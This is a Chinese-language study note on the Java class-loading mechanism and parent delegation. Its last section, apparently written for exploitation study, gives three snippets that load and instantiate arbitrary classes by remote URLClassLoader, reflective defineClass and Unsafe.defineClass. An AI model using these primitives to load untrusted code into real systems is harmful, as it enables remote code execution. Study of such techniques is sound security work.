类加载机制
类初始化的时候会执行:静态代码块
类实例化的时候会执行:静态代码块、构造代码块、无参/有参构造函数
Class.forName()
方法默认会初始化类,所以会执行静态代码块。可以通过forName的重载方法,将是否初始化设为false,就不会初始化了。
双亲委派机制
双亲委派的意思是如果一个类加载器需要加载类,那么首先它会把这个类请求委派给父类加载去加载,每一层都是如此,一直递归到顶层。当父加载器无法加载这个类时,子类才会尝试去加载。(这里的双亲委派的父类并不是继承关系,只是调用逻辑是这样。)
AppClassLoader和ExtClassLoader都继承了URLClassLoader
双亲委派机制的作用
- 通过委派的方式,可以避免类的重复加载。
- 通过双亲委派的方式,还保证了安全性。因为
Bootstrap ClassLoader
在加载的时候,只会加载JAVA_HOME中的jar包里面的类,如java.lang.Integer,那么这个类是不会被随意替换的,除非有人跑到你的机器上, 破坏你的JDK。避免有人自定义一个有破坏功能的java.lang.Integer被加载。这样可以有效的防止核心Java API被篡改。
在漏洞利用时使用
- 可以使用URLClassLoader任意类加载,支持file、http、jar协议,http协议比较好用。
- 也可以使用ClassLoader的defineClass方法字节码加载任意类,需要反射获取该方法。
- Unsafe类也有一个defineClass方法,也可以进行字节码加载任意类,但是Unsafe是私有类,也是需要反射获取。Spring里面可以直接生成。
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
// URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\CT\\")});
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")});
Class<?> c = urlClassLoader.loadClass("Aatest");
Object o = c.newInstance();
}
}
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws Exception {
Class<ClassLoader> classLoaderClass = ClassLoader.class;
Method defineClassMethod = classLoaderClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\CT\\Aatest.class"));
Class aatest = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), "Aatest", code, 0, code.length);
aatest.newInstance();
}
}
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws Exception {
Class<Unsafe> unsafeClass = Unsafe.class;
Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
byte[] code = Files.readAllBytes(Paths.get("D:\\CT\\Aatest.class"));
Class test = (Class) unsafe.defineClass("Aatest", code, 0, code.length, ClassLoader.getSystemClassLoader(), null);
test.newInstance();
}
}